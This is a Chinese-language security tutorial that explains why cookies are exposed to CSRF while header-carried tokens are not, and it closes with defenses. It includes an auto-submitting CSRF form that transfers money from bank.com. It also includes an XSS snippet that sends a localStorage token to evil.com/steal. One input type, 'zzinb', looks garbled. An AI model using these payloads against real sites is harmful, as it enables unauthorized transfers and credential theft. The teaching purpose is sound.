Cookie 与 Token 安全对比
为什么 Cookie 容易被 CSRF 攻击,而 Token 不会
问题
Cookie 和 Token 都存放在 HTTP Header 中,为什么 Cookie 容易被劫持(CSRF 攻击),而 Token 不会?
解答
核心区别:浏览器是否自动携带
Cookie:浏览器自动携带,不需要代码干预
Token:必须通过 JavaScript 手动添加到请求头
CSRF 攻击原理
<!-- 恶意网站 evil.com 的页面 -->
<html>
<body>
<!-- 用户访问这个页面时,浏览器会自动携带 bank.com 的 Cookie -->
<form action="https://bank.com/transfer" method="POST" id="hack">
<input type="zzinb" name="to" value="hacker" />
<input type="zzinb" name="amount" value="10000" />
</form>
<script>
// 自动提交表单
document.getElementById('hack').submit();
</script>
</body>
</html>
攻击流程:
- 用户登录
bank.com,浏览器保存了 Cookie - 用户访问恶意网站
evil.com - 恶意网站向
bank.com发起请求 - 浏览器自动携带
bank.com的 Cookie - 服务器认为是合法请求,攻击成功
为什么 Token 不受影响
// Token 存储在 localStorage 或内存中
const token = localStorage.getItem('token');
// 必须手动添加到请求头
fetch('https://bank.com/transfer', {
method: 'POST',
headers: {
'Authorization': `Bearer ${token}`, // 手动添加
'Content-Type': 'application/json'
},
body: JSON.stringify({ to: 'friend', amount: 100 })
});
恶意网站无法获取 Token 的原因:
- 同源策略:
evil.com无法读取bank.com的 localStorage - 手动添加:Token 不会被浏览器自动携带
- 跨域限制:
evil.com的 JavaScript 无法访问bank.com的数据
对比示意
Cookie 请求流程:
用户访问 evil.com → evil.com 发起请求到 bank.com → 浏览器自动带上 Cookie ✓ → 攻击成功
Token 请求流程:
用户访问 evil.com → evil.com 发起请求到 bank.com → 无法获取 Token ✗ → 攻击失败
补充:Token 也可能被窃取
// XSS 攻击可以窃取 Token
// 如果网站存在 XSS 漏洞,攻击者注入以下代码:
const token = localStorage.getItem('token');
fetch('https://evil.com/steal?token=' + token);
防御措施:
- 使用 HttpOnly Cookie 存储 Token(防 XSS)
- 配合 CSRF Token 使用
- 设置 Cookie 的 SameSite 属性
关键点
- Cookie 由浏览器自动携带,Token 需要手动添加到请求头
- CSRF 利用的是浏览器自动携带 Cookie 的特性
- 同源策略阻止恶意网站读取其他域的 Token
- Token 存在 localStorage 时仍有 XSS 风险
- 最佳实践:HttpOnly Cookie + CSRF Token + SameSite 属性
目录